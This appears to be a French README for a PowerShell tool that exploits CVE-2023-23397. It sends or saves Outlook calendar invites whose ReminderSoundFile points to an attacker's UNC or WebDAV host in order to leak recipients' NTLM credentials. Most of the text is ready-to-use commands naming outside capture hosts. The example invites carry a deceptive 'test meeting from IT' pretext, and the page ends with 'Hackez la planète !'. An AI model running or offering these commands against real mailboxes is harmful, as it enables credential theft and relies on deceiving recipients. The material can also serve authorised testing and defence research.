
Script PowerShell pour exploiter CVE-2023-23397 en envoyant ou en enregistrant des invitations de calendrier Outlook malveillantes qui déclenchent une fuite d'identifiants NTLM via l'option ReminderSoundFile.
Fonctions de script pour envoyer ou enregistrer une fuite NTLM de calendrier à l'aide de l'option ReminderSoundFile. Exécutez le script pour charger les fonctions dans Powershell, puis utilisez les exemples ci-dessous comme point de départ pour utiliser les fonctions. Nécessite d'être exécuté sur une machine Windows avec Outlook installé, car il utilise l'objet COM Outlook pour envoyer des e-mails. Notez qu'il enverra l'e-mail depuis le compte e-mail associé à Outlook. Les fonctions actuelles ajouteront l'heure de début de la réunion au moment où le script est exécuté et la définiront pour durer 2 heures.
Envoi :
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com@80\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com@SSL@443\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Enregistrement :
Save-CalendarNTLMLeak -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@80\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@SSL@443\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Hackez la planète !